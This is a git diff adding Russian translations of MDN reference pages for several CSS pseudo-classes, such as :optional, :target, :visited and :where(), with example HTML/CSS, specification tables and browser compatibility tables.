diff --git a/files/ru/web/css/_colon_only-of-type/index.html b/files/ru/web/css/_colon_only-of-type/index.html new file mode 100644 index 0000000000..d971fd9eaa --- /dev/null +++ b/files/ru/web/css/_colon_only-of-type/index.html @@ -0,0 +1,85 @@ +--- +title: ':only-of-type' +slug: 'Web/CSS/:only-of-type' +tags: + - CSS + - Псевдоклассы +translation_of: 'Web/CSS/:only-of-type' +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS псевдокласс :only-of-type  выбирает такой элемент, который является единственным потомком такого типа.

+ +
/* Выбирает все <p>, которые являются */
+/* единственным потомками типа <p> */
+p:only-of-type {
+  background-color: lime;
+}
+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<main>
+  <div>Я `div` №1.</div>
+  <p>Я тут единственный `p` елемент.</p>
+  <div>Я `div` №2.</div>
+  <div>Я `div` №3.
+    <i>Я единственный потомок типа `i`.</i>
+    <em>Я `em` №1.</em>
+    <em>Я `em` №2.</em>
+  </div>
+</main>
+ +

CSS

+ +
main :only-of-type {
+  color: red;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Example', '', '', '', 'Web/CSS/:only-of-type')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#only-of-type-pseudo', ':only-of-type')}}{{Spec2('CSS4 Selectors')}}Без изменений
{{SpecName('CSS3 Selectors', '#only-of-type-pseudo', ':only-of-type')}}{{Spec2('CSS3 Selectors')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{Compat("css.selectors.only-of-type")}}

+ +
 
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_optional/index.html b/files/ru/web/css/_colon_optional/index.html new file mode 100644 index 0000000000..2b7b8f9c9d --- /dev/null +++ b/files/ru/web/css/_colon_optional/index.html @@ -0,0 +1,110 @@ +--- +title: ':optional' +slug: 'Web/CSS/:optional' +tags: + - Псевдо-классы +translation_of: 'Web/CSS/:optional' +--- +

{{ CSSRef() }}

+ +

Описание

+ +

CSS псевдо-класс :optional находит любые {{ HTMLElement("input") }} элементы, у которых не установлен атрибут {{ htmlattrxref("required","input") }}. Он позволяет формам легко отмечать необязательные поля, и давать им соответствующие стили.

+ +

Чтобы задать особый внешний вид обязательным полям формы можно использовать псевдо-класс {{ cssxref(":required") }}.

+ +

Примеры

+ +

Смотрите {{ cssxref(":invalid") }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('HTML WHATWG', '#selector-optional', ':optional') }}{{ Spec2('HTML WHATWG') }}Без изменений.
{{ SpecName('HTML5 W3C', '#selector-optional', ':optional') }}{{ Spec2('HTML5 W3C') }}Определяет семантику в HTML и ограничения проверки.
{{ SpecName('CSS4 Selectors', '#opt-pseudos', ':optional') }}{{ Spec2('CSS4 Selectors') }}Без изменений.
{{ SpecName('CSS3 Basic UI', '#pseudo-required-value', ':optional') }}{{ Spec2('CSS3 Basic UI') }}Определяет псевдо-класс, но не семантику.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка10.0{{ CompatGeckoDesktop("2") }}1010.05.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatGeckoMobile("2") }}{{ CompatNo() }}10.05.0
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_out-of-range/index.html b/files/ru/web/css/_colon_out-of-range/index.html new file mode 100644 index 0000000000..2d84e58b58 --- /dev/null +++ b/files/ru/web/css/_colon_out-of-range/index.html @@ -0,0 +1,140 @@ +--- +title: ':out-of-range' +slug: 'Web/CSS/:out-of-range' +tags: + - CSS + - Псевдоклассы + - Руководство +translation_of: 'Web/CSS/:out-of-range' +--- +
{{CSSRef}}
+ +
+ +

Summary

+ +

CSS псевдокласс :out-of-range находит элементы, значение которых находится вне диапазона их ограничений. Он позволяет странице показывать, когда значение элемента находится вне допустимого диапазона. Значение будет вне диапазона, если оно меньше или больше, чем минимальное и максимальное значения.

+ +
Замечание: этот псевдокласс применяется только к элементам с заданным диапазоном ограничений. При отсутствии такого ограничения, элемент не может быть ни "в зоне допустимых значений", ни "вне диапазона".
+ +

Пример

+ +
+

HTML

+ +
<form action="" id="form1">
+    <ul>Приминаются значения между 1 и 10.
+        <li>
+            <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12">
+            <label for="value1">Your value is </label>
+        </li>
+</form>
+ +

CSS

+ +
li {
+    list-style: none;
+    margin-bottom: 1em;
+}
+input {
+    border: 1px solid black;
+}
+input:in-range {
+    background-color: rgba(0, 255, 0, 0.25);
+}
+input:out-of-range {
+    background-color: rgba(255, 0, 0, 0.25);
+    border: 2px solid red;
+}
+input:in-range + label::after {
+    content:' НОРМАЛЬНОЕ';
+}
+input:out-of-range + label::after {
+    content:'вне диапазона!';
+}
+
+ +
{{EmbedLiveSample('Пример',600,140)}}
+ +
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'scripting.html#selector-out-of-range', ':out-of-range')}}{{Spec2('HTML WHATWG')}}Определяет, когда :out-of-range находит элементы в HTML.
{{SpecName('CSS4 Selectors', '#out-of-range-pseudo', ':out-of-range')}}{{Spec2('CSS4 Selectors')}}Изначальное определение.
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Поддержка <input>10.0{{CompatGeckoDesktop("29.0")}}{{CompatNo()}}11.05.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Поддержка <input>2.3{{CompatGeckoMobile("16.0")}}{{CompatNo()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_placeholder-shown/index.html b/files/ru/web/css/_colon_placeholder-shown/index.html new file mode 100644 index 0000000000..81ab4ab3fc --- /dev/null +++ b/files/ru/web/css/_colon_placeholder-shown/index.html @@ -0,0 +1,194 @@ +--- +title: ':placeholder-shown' +slug: 'Web/CSS/:placeholder-shown' +translation_of: 'Web/CSS/:placeholder-shown' +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +
CSS псевдо-класс :placeholder-shown представляет любой {{htmlElement("input")}} или {{htmlElement("textarea")}} элемент, который отображает в данный момент текст заполнитель (плейсхолдер).
+ +
/* Выбирает любой элемент с активным плейсхолдером */
+:placeholder-shown {
+  border: 2px solid silver;
+}
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Простой пример

+ +

HTML

+ +
<input placeholder="Type something here!">
+ +

CSS

+ + + +
input {
+  border: 2px solid black;
+  padding: 3px;
+}
+
+input:placeholder-shown {
+  border-color: silver;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Простой_пример", 200, 60)}}

+ +

Переполнение текстом

+ +

На узких экранах, таких как смартфоны, ширина полей поиска и других полей формы может быть значительно сокращена. Это может привести к нежелательному обрезанию текста плейсхолдера. Часто бывает полезно изменить это поведение с помощью свойства {{cssxref("text-overflow")}}.

+ +

HTML

+ +
<input placeholder="Enter something into this field, if you please!">
+ +

CSS

+ + + +
input:placeholder-shown {
+  text-overflow: ellipsis;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Переполнение_текстом", 200, 60)}}

+ +

Цветной текст

+ +

HTML

+ +
<input placeholder="Type something here!">
+
+ +

CSS

+ + + +
input:placeholder-shown {
+  color: red;
+  font-style: italic;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Цветной_текст", 200, 60)}}

+ +

Кастомизированное поле ввода

+ +

В следующем примере выделены поля Branch и ID с пользовательским стилем.

+ +

HTML

+ +
<form id="test">
+  <p>
+    <label for="name">Enter Student Name:</label>
+    <input id="name" placeholder="Student Name"/>
+  </p>
+  <p>
+    <label for="branch">Enter Student Branch:</label>
+    <input id="branch" placeholder="Student Branch"/>
+  </p>
+  <p>
+    <label for="sid">Enter Student ID:</label>
+    <input type="number" pattern="[0-9]{8}" title="8 digit ID" id="sid" class="studentid" placeholder="8 digit id"/>
+  </p>
+  <input type="submit"/>
+</form>
+ +

CSS

+ + + +
input {
+  background-color: #E8E8E8;
+  color: black;
+}
+
+input.studentid:placeholder-shown {
+  background-color: yellow;
+  color: red;
+  font-style: italic;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Кастомизированное_поле_ввода", 200, 180)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS4 Selectors", "#placeholder", ":placeholder-shown")}}{{Spec2("CSS4 Selectors")}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.selectors.placeholder-shown")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_read-only/index.html b/files/ru/web/css/_colon_read-only/index.html new file mode 100644 index 0000000000..30fa0382ad --- /dev/null +++ b/files/ru/web/css/_colon_read-only/index.html @@ -0,0 +1,67 @@ +--- +title: ':read-only' +slug: 'Web/CSS/:read-only' +tags: + - Псевдо-элементы +translation_of: 'Web/CSS/:read-only' +--- +
{{ CSSRef() }}
+ +

Описание

+ +

CSS псевдо-класс :read-only находит элементы, недоступные для редактирования пользователем.

+ +

Пример

+ +
+
input:-moz-read-only { background: #eee; }
+input:read-only { background: #eee; }
+
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('HTML WHATWG', '#selector-read-only', ':read-only') }}{{ Spec2('HTML WHATWG') }}Без изменений.
{{ SpecName('HTML5 W3C', '#selector-read-only', ':read-only') }}{{ Spec2('HTML5 W3C') }}Определяет семантику в HTML и ограничения проверки.
{{ SpecName('CSS4 Selectors', '#rw-pseudos', ':read-only') }}{{ Spec2('CSS4 Selectors') }}Без изменений.
{{ SpecName('CSS3 Basic UI', '#pseudo-ro-rw', ':read-only') }}{{ Spec2('CSS3 Basic UI') }}Определяет псевдо-класс, но не семантику.
+ +

Поддержка браузерами

+ + + +

{{Compat("css.selectors.read-only")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_read-write/index.html b/files/ru/web/css/_colon_read-write/index.html new file mode 100644 index 0000000000..1f92defec7 --- /dev/null +++ b/files/ru/web/css/_colon_read-write/index.html @@ -0,0 +1,67 @@ +--- +title: ':read-write' +slug: 'Web/CSS/:read-write' +tags: + - Псевдо-классы +translation_of: 'Web/CSS/:read-write' +--- +
{{ CSSRef() }}
+ +

Описание

+ +

CSS псевдо-класс :read-write находит элементы, доступные для редактирования пользователем, такие как текстовые поля.

+ +

Пример

+ +
+
input:-moz-read-write { background: #eee; }
+input:read-write { background: #eee; }
+
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{ SpecName('HTML WHATWG', '#selector-read-write', ':read-write') }}{{ Spec2('HTML WHATWG') }}Без изменений.
{{ SpecName('HTML5 W3C', '#selector-read-write', ':read-write') }}{{ Spec2('HTML5 W3C') }}Определяет семантику в HTML и ограничения проверки.
{{ SpecName('CSS4 Selectors', '#rw-pseudos', ':read-write') }}{{ Spec2('CSS4 Selectors') }}Без изменений.
{{ SpecName('CSS3 Basic UI', '#pseudo-ro-rw', ':read-write') }}{{ Spec2('CSS3 Basic UI') }}Определяет псевдо-класс, но не семантику.
+ +

Поддержка браузерами

+ + + +

{{Compat("css.selectors.read-write")}}

+ +

See also

+ + diff --git a/files/ru/web/css/_colon_required/index.html b/files/ru/web/css/_colon_required/index.html new file mode 100644 index 0000000000..c7d7026124 --- /dev/null +++ b/files/ru/web/css/_colon_required/index.html @@ -0,0 +1,108 @@ +--- +title: ':required' +slug: 'Web/CSS/:required' +tags: + - Псевдо-классы +translation_of: 'Web/CSS/:required' +--- +

{{ CSSRef() }}

+ +

Описание

+ +

CSS псевдо-класс :required находит любые {{ HTMLElement("input") }} элементы, имеющие атрибут {{ htmlattrxref("required", "input") }}. Он позволяет формам легко сообщать, что поля должны быть корректно заполнены перед отправкой формы.

+ +

Псевдо-класс {{ cssxref(":optional") }} может использоваться, чтобы дать особый внешний вид полям, не обязательным для заполнения.

+ +

Примеры

+ +

Смотрите {{ cssxref(":invalid") }}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('HTML WHATWG', '#selector-required', ':required') }}{{ Spec2('HTML WHATWG') }}Без изменений.
{{ SpecName('HTML5 W3C', '#selector-required', ':required') }}{{ Spec2('HTML5 W3C') }}Определяет семантику в HTML и ограничения проверки.
{{ SpecName('CSS4 Selectors', '#opt-pseudos', ':required') }}{{ Spec2('CSS4 Selectors') }}Без изменений.
{{ SpecName('CSS3 Basic UI', '#pseudo-required-value', ':required') }}{{ Spec2('CSS3 Basic UI') }}Определяет псевдо-класс, но не семантику.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка10.0{{ CompatGeckoDesktop("2") }}1010.05.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatGeckoMobile("2") }}{{ CompatNo() }}10.05.0
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_right/index.html b/files/ru/web/css/_colon_right/index.html new file mode 100644 index 0000000000..d2f3687dd9 --- /dev/null +++ b/files/ru/web/css/_colon_right/index.html @@ -0,0 +1,112 @@ +--- +title: ':right' +slug: 'Web/CSS/:right' +translation_of: 'Web/CSS/:right' +--- +
{{ CSSRef() }}
+ +

The :right CSS page pseudo-class matches any right page when printing a page. It allows you to describe the styling of right-side pages.

+ +
/* Selects the content on the right-hand pages while printing */
+@page :right {
+  margin: 2in 3in;
+}
+ +

Whether the page is left or right is decided by the major writing direction of the document. For example, if the first page has a major writing direction of left-to-right then it will be a :right page and if it has a major writing direction of right-to-left then it will be a {{ Cssxref(":left") }} page.

+ +
Note: Вы можете не менять все CSS свойства, а поменять только margin, padding, border, и background для страницы. Все остальные CSS свойства будут проигнорированы и изменения будут применены только для страницы, но не для её содержимого.
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
@page :right {
+  margin: 2in 3in;
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Paged Media', '#left-right-first', ':right') }}{{ Spec2('CSS3 Paged Media') }}No change.
{{ SpecName('CSS2.1', 'page.html#page-selectors', ':right') }}{{ Spec2('CSS2.1') }}Initial definition.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}8.09.2{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_root/index.html b/files/ru/web/css/_colon_root/index.html new file mode 100644 index 0000000000..54fc106e05 --- /dev/null +++ b/files/ru/web/css/_colon_root/index.html @@ -0,0 +1,101 @@ +--- +title: ':root' +slug: 'Web/CSS/:root' +tags: + - CSS + - CSS Pseudo-class + - Layout + - Reference + - Web + - Псевдоклассы +translation_of: 'Web/CSS/:root' +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS псевдокласс :root находит корневой элемент дерева документа. Применимо к HTML, :root находит элемент {{HTMLElement("html")}} и идентичен селектору по тегу html, но его специфичность выше.

+ +

Пример

+ +

Использование :root полезно для объявления CSS Переменных:

+ +
:root {
+  --main-color: hotpink;
+  --pane-padding: 5px 42px;
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}{{Spec2('CSS4 Selectors')}}Без изменений
{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}{{Spec2('CSS3 Selectors')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1{{CompatGeckoDesktop("1.7")}}99.51.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/css/_colon_target/index.html b/files/ru/web/css/_colon_target/index.html new file mode 100644 index 0000000000..034a1f4b12 --- /dev/null +++ b/files/ru/web/css/_colon_target/index.html @@ -0,0 +1,211 @@ +--- +title: ':target' +slug: 'Web/CSS/:target' +tags: + - Верстка + - Псевдоклассы +translation_of: 'Web/CSS/:target' +--- +
{{CSSRef}}
+ +

Псевдокласс  CSS  :target представляет уникальный элемент (целевой элемент) с подходящим {{htmlattrxref("id")}}  URL-фрагментом.

+ +
/* Выбирает элемент с подходящим ID текущего URL-фрагмента */
+:target {
+  border: 2px solid black;
+}
+ +

Для примера, следующий URL имеет фрагмент (обозначается знаком #), который указывает на элемент с именем section2:

+ +
http://www.example.com/index.html#section2
+ +

Следующий элмент будет выбран селектором :target, если текущий URL равен вышеуказанному:

+ +
<section id="section2">Example</section>
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Таблица контента

+ +

Псевдокласс :target может использоваться для выделения части страницы, на которую была сделана ссылка из оглавления .

+ +

HTML

+ +
<h3>Table of Contents</h3>
+<ol>
+ <li><a href="#p1">Jump to the first paragraph!</a></li>
+ <li><a href="#p2">Jump to the second paragraph!</a></li>
+ <li><a href="#nowhere">This link goes nowhere,
+   because the target doesn't exist.</a></li>
+</ol>
+
+<h3>My Fun Article</h3>
+<p id="p1">You can target <i>this paragraph</i> using a
+  URL fragment. Click on the link above to try out!</p>
+<p id="p2">This is <i>another paragraph</i>, also accessible
+  from the links above. Isn't that delightful?</p>
+
+ +

CSS

+ +
p:target {
+  background-color: gold;
+}
+
+/* Добавление псевдоэлемента внутрь target-элемента */
+p:target::before {
+  font: 70% sans-serif;
+  content: "►";
+  color: limegreen;
+  margin-right: .25em;
+}
+
+/* Стиль italic-элементов без target-элемента */
+p:target i {
+  color: red;
+}
+ +

Результат

+ +
{{EmbedLiveSample('A_table_of_contents', 500, 300)}}
+ +

Pure-CSS lightbox

+ +

Вы можете использовать псевдо-класс :target для создания lightbox без использования JavaScript. Этот метод основан на способности якорных ссылок указывать на элементы, которые изначально скрыты на странице. После этого, CSS изменяет их  display на видимый.

+ +
Примечание: Более полный pure-CSS lightbox , основанный на псевдоклассе:target -  available on GitHub (demo).
+ +

HTML

+ +
<ul>
+  <li><a href="#example1">Open example #1</a></li>
+  <li><a href="#example2">Open example #2</a></li>
+</ul>
+
+<div class="lightbox" id="example1">
+  <figure>
+    <a href="#" class="close"></a>
+    <figcaption>Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+      Donec felis enim, placerat id eleifend eu, semper vel sem.</figcaption>
+  </figure>
+</div>
+
+<div class="lightbox" id="example2">
+  <figure>
+    <a href="#" class="close"></a>
+    <figcaption>Cras risus odio, pharetra nec ultricies et,
+      mollis ac augue. Nunc et diam quis sapien dignissim auctor.
+      Quisque quis neque arcu, nec gravida magna.</figcaption>
+  </figure>
+</div>
+ +

CSS

+ +
/* Закрываем lightbox */
+.lightbox {
+  display: none;
+}
+
+/* Открываем lightbox */
+.lightbox:target {
+  position: absolute;
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+/* Содержимое lightbox  */
+.lightbox figcaption {
+  width: 25rem;
+  position: relative;
+  padding: 1.5em;
+  background-color: lightpink;
+}
+
+/* Кнопка закрытия */
+.lightbox .close {
+  position: relative;
+  display: block;
+}
+
+.lightbox .close::after {
+  right: -1rem;
+  top: -1rem;
+  width: 2rem;
+  height: 2rem;
+  position: absolute;
+  display: flex;
+  z-index: 1;
+  align-items: center;
+  justify-content: center;
+  background-color: black;
+  border-radius: 50%;
+  color: white;
+  content: "×";
+  cursor: pointer;
+}
+
+/* Обертка lightbox  */
+.lightbox .close::before {
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+  position: fixed;
+  background-color: rgba(0,0,0,.7);
+  content: "";
+  cursor: default;
+}
+ +

Результат

+ +
{{EmbedLiveSample('Pure-CSS_lightbox', 500, 220)}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("HTML WHATWG", "browsers.html#selector-target", ":target")}}{{Spec2("HTML WHATWG")}}Определена HTML-специфика семантики.
{{SpecName("CSS4 Selectors", "#the-target-pseudo", ":target")}}{{Spec2("CSS4 Selectors")}}Без изменений.
{{SpecName("CSS3 Selectors", "#target-pseudo", ":target")}}{{Spec2("CSS3 Selectors")}}Первое определение.
+ +

Поддержка браузерами

+ + + +
{{Compat("css.selectors.target")}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_valid/index.html b/files/ru/web/css/_colon_valid/index.html new file mode 100644 index 0000000000..3ea99d76e1 --- /dev/null +++ b/files/ru/web/css/_colon_valid/index.html @@ -0,0 +1,142 @@ +--- +title: ':valid' +slug: 'Web/CSS/:valid' +tags: + - Псевдо-классы +translation_of: 'Web/CSS/:valid' +--- +

{{ CSSRef() }}

+ +

Описание

+ +

CSS псевдо-класс :valid находит любые {{ HTMLElement("input") }} или {{ HTMLElement("form") }} элементы, контент которых валиден, в соответствии с типом поля. Он позволяет вам легко менять внешний вид полей, что помогает понять пользователю, что он ввёл данные правильно.

+ +

Пример

+ +

Этот пример представляет собой простую форму, цвета элементов которой зелёные, когда данные корректные, и красные, когда нет.

+ +

HTML

+ +
<form>
+  <label>Введите URL:</label>
+  <input type="url" />
+  <br />
+  <br />
+  <label>Введите адрес эл. почты:</label>
+  <input type="email" required/>
+</form>
+ +

CSS

+ +
input:invalid {
+  background-color: #ffdddd;
+}
+
+form:invalid {
+  border: 5px solid #ffdddd;
+}
+
+input:valid {
+  background-color: #ddffdd;
+}
+
+form:valid {
+  border: 5px solid #ddffdd;
+}
+
+input:required {
+  border-color: #800000;
+  border-width: 3px;
+}
+ +

{{ EmbedLiveSample('Пример',600,150) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('HTML WHATWG', '#selector-valid', ':valid') }}{{ Spec2('HTML WHATWG') }}Без изменений.
{{ SpecName('HTML5 W3C', '#selector-valid', ':valid') }}{{ Spec2('HTML5 W3C') }}Определяет семантику в HTML и ограничения проверки.
{{ SpecName('CSS4 Selectors', '#validity-pseudos', ':valid') }}{{ Spec2('CSS4 Selectors') }}Без изменений.
{{ SpecName('CSS3 Basic UI', '#pseudo-validity', ':valid') }}{{ Spec2('CSS3 Basic UI') }}Определяет псевдо-класс, но не семантику.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка10.0{{ CompatGeckoDesktop("2") }}10 (only input tags)10.05.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatGeckoMobile("2") }}{{ CompatNo() }}10.05.0
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_visited/index.html b/files/ru/web/css/_colon_visited/index.html new file mode 100644 index 0000000000..7ad6df8e89 --- /dev/null +++ b/files/ru/web/css/_colon_visited/index.html @@ -0,0 +1,129 @@ +--- +title: ':visited' +slug: 'Web/CSS/:visited' +tags: + - Псевдо-классы +translation_of: 'Web/CSS/:visited' +--- +

{{ CSSRef() }}

+ +

Описание

+ +

CSS псевдо-класс :visited позволяет вам выбирать ссылки, которые были посещены. Этот стиль может переопределяться другими относящимися к ссылкам псевдо-классами, такими как {{ cssxref(":link") }}, {{ cssxref(":hover") }} и {{ cssxref(":active") }}, появляющимися в соответствующем порядке. Чтобы стилизировать ссылки должным образом, вам нужно вставлять правило :visited до правила :link, но после других, определённых LVHA-порядком: :link — :visited — :hover — :active.

+ +
+

Замечание: Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдо-класс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, fill и stroke. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосещённых ссылок вместо него (но если прозрачность - 0, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосещённых ссылок).

+ +

Несмотря на то, что цвет может меняться, метод getComputedStyle наврёт и всегда будет давать значение цвета непосещённых ссылок.

+ +

Для дополнительной информации об ограничениях и их причин, смотрите Приватность и селектор :visited.

+
+ +

Примеры

+ +
a:visited { color: #4b2f89; }
+a:visited { background-color: white }
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('HTML WHATWG', 'scripting.html#selector-visited', ':visited') }}{{ Spec2('HTML WHATWG') }} 
{{ SpecName('CSS4 Selectors', '#link', ':visited') }}{{ Spec2('CSS4 Selectors') }}Без изменений.
{{ SpecName('CSS3 Selectors', '#link', ':visited') }}{{ Spec2('CSS3 Selectors') }}Без изменений.
{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':visited') }}{{ Spec2('CSS2.1') }}Ограничение использовать его только для элементов {{ HTMLElement("a") }}. Позволяет браузерам ограничивать его поведение из-за причин приватности.
{{ SpecName('CSS1', '#anchor-pseudo-classes', ':visited') }}{{ Spec2('CSS1') }}Изначальное определение
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{ CompatGeckoDesktop("1.0") }}3.53.51.0
CSS свойства, разрешённые использовать в :visited6{{CompatGeckoDesktop("2.0") }}8 (или раньше){{ CompatUnknown() }}5.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatGeckoMobile("1.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_where/index.html b/files/ru/web/css/_colon_where/index.html new file mode 100644 index 0000000000..6af554ac77 --- /dev/null +++ b/files/ru/web/css/_colon_where/index.html @@ -0,0 +1,157 @@ +--- +title: ':where()' +slug: 'Web/CSS/:where' +tags: + - ':where' + - CSS + - псевдокласс +translation_of: 'Web/CSS/:where' +--- +
{{CSSRef}}
+ +
CSS псевдокласс :where() в качестве аргумента принимает список селекторов и выбирает только те элементы, которые могут быть выбраны из переданного списка.
+ +
+ +
/* Выбирает любой параграф внутри header, main
+   или footer на который наведен курсор мыши */
+:where(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+/* Пример приведенный выше эквивалентен следующему */
+header p:hover,
+main p:hover,
+footer p:hover {
+  color: red;
+  cursor: pointer;
+}
+ +

Разница между :where() и {{CSSxRef(":is", ":is()")}} заключается в том, что :where() всегда имеет нулевую специфичность селектора, тогда как специфичность :is() равна самому специфичному селектору из списка переданных аргументов.

+ +

Парсинг forgiving-селектора

+ +

В спецификации псевдоклассы :is() и :where() относятся к так называемому forgiving selector list (прощающий список селекторов).

+ +

При использовании списка селекторов в CSS, если один из селекторов невалидный, то весь список селекторов будет считаться невалидным. В то же время при использовании :is() или :where() действует другое правило: если среди переданных аргументов будет неккоректный или неподдерживаемый селектор, то он будет проигнорирован, для всех же остальных селекторов будут применены CSS-правила.

+ +
:where(:valid, :unsupported) {
+  ...
+}
+ +

Пример выше будет успешно распарсен и для :valid будут применены CSS-правила, даже если в браузере не поддерживается :unsupported, в то время как:

+ +
:valid, :unsupported {
+  ...
+}
+ +

Код будет полностью проигнорирован в браузерах, которые не поддерживают :unsupported, даже не смотря на то, что они поддерживают :valid.

+ +

Примеры

+ +

Сравнение :where() и :is()

+ +

В этом примере показывается как работает :where(), а так же демонстрируется разница между :where() и :is().

+ +

